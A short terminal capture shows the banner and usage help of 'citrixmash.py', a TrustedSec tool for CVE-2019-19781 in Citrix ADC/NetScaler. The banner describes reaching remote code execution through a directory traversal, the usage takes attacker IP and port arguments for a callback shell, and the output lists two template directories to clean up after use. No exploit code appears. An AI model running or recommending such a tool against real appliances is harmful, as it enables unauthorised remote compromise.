root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py
Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 INTERNAL RELEASE ONLY: TrustedSec Internal Tool Written by: Rob Simon and Dave Kennedy Contributions: The TrustedSec Team Website: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/
This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used to append files in an XML format to the victim machine. This in turn allows for remote code execution.
Be sure to cleanup these two file locations: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
Usage:
python citrixmash.py <attacker_listener> <attacker_port>
usage: citrixmash.py [-h] target targetport attackerip attackerport